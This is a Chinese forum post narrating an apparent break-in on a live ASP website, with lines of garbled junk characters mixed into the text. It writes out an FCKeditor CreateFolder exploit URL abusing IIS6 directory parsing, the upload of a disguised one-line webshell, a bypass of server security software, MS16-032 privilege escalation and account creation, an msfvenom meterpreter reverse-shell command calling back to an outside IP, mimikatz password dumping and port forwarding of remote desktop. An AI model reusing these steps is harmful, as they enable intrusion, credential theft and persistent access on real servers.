" }) Z9 u8 i( G! B6 d |
% `0 T/ Z" u8 p: P1 E0 r6 K ) m, Z- ?% i0 T" U+ W
6 t5 i: n& z6 c" I一、 利用getwebshell篇
1 K5 o8 l* C6 s1 W1 G# F
5 j$ M S5 w" F
首先对目标站进行扫描，发现是asp的，直接扫出网站后台和默认数据库，下载解密登陆如图：
' z$ N/ ]) E$ z3 H9 b8 F2 V2 K
- w: K2 Y+ c4 y: @8 f( V
$ F( K3 n0 Z' U; A下面进后台发现有fckeditor，而且还是iis6.0的，可以考虑创建个asp目录来构造解析（fck编辑器路径被改成别的需要burpsuite抓包的时候看到）
$ q2 S) t4 K- G" X2 p
r& V z, K- ~& f% u
下面我们构造一个asp目录，如： 6 @# }# k, T" z
3 C' {& Y: n+ L8 B# S* ?+ \
% H. V d: l& c; f7 ?+ O
http://www.xxoo.com/manage/hscxeditor/editor/filemanager/connectors/asp/connector.asp?Command=CreateFolder&Type=Image&CurrentFolder=%2Fshell.asp&NewFolderName=z&uuid=1244789975 ; k5 ]$ `: @7 l
& V- b; [! B' J
6 v% W# G$ U0 T( p/ a, R$ u
然后再给shell.asp目录上传一个jpg图片格式的一句话，然后用hatchet打开，然后看了一下支持aspx，那么我们就用包含的办法先把aspx后缀名改成.rar，然后再创建个111.ASPx，里面包含rar文件，进去以后看进程有云锁和安全狗，那么，那么我们慢慢来，慢慢来。
6 b9 D, F" J' f- d! R0 B
- {, V( Q- ^ w5 [1 t. M
一、 绕过安全狗云锁提权并且加账号
' [; `/ `4 F, D' |# q2 C8 C* I
( Z; T" N" b7 P8 x2 T3 G3 U0 a
没法看系统信息，但是根据网站404页面可以断定是2003服务器，然后接着访问C:\Program Files (x86)存在断定是2003 64位系统，那么我们说干就干，我们上传ms16-032 64位直接干，但是发现上传exe或者别的格式exp会自动消失，看进程也没杀毒呀，没错没杀毒，是云锁有个功能防御了，那么突破云锁上传的方法就是利用rar，先把exp打包为64.rar上传，然后我们翻一下rar在哪个目录，在C:\Program Files (x86)，然后开干
- V2 G: I2 N4 d+ g3 B# R: A$ }
4 k# ]& n% W$ f) B0 j# D
如图：
8 p; q# {5 f, U& ]( w P0 C$ H$ Z
: N0 C! n4 o# W! p+ f1 N: {& ^( {然后执行直接是system权限,然后我用干狗神器给加了一个账号用tunna反弹3968提示不是远程组，我操后来也想着用getpassword64抓明文密码，但是一执行就卡死，没办法想到了metasploit
5 o5 G0 C% i! E* O! T/ Q# Z/ m. r
: r+ y' F, \( |. |3 A, z: }7 q4 x一、 利用metasploit
! e& ~' H- ?: T( V; m7 }+ x9 A
2 t& u9 v7 V' \* N b, [
首先用pentestbox生成一个64位的payload如下命令
5 W, n! s s+ v5 ]0 K/ W7 j
) Z8 z2 W9 m& V+ H
msfVENOM -p windows/x64meterpreter/reverse_tcp lhost=42.51.1.1 lport=443 -f exe > c:\mata.exe
2 J' D( j+ |. \" }9 J5 ?, Z
" c8 ~( [- k j为什么要用443端口，之前我测试用别的端口直接被墙了没法上线，下面我们在system下执行这个mata，上线如图：
3 H& X! j0 [- S! \) `5 @
4 o/ @, j+ ^1 C# b% i) L1 p) E下面我们用这个命令抓一下明文密码命令1：use mimikatz 命令2：kerberos如下图：
" z: Q& F- k! U3 B- R; T
- u6 `: t: S& [1 [( I2 y) s3 p/ U
下面我们来做一个监听如下命令：
$ I i8 U$ i: z# \4 Y3 d7 U' U
0 W5 X9 {# a L; {& ?
portfwd add -l 6655 -p 3968 -r 127.0.0.1，这个命令的意思就是把目标服务器的远程3968转发到pentestbox的公网IP的6655端口如图：
) G4 u* b9 \3 O/ p
: A5 N' K7 F+ S- y9 b# `4 p ( J! O0 `: }' i/ h- x# }
| 0 W% C, G- {4 I$ r; f
发表于 2018-10-20 20:31:43
收藏
支持
反对
匿名
发表于 2021-11-20 23:30:06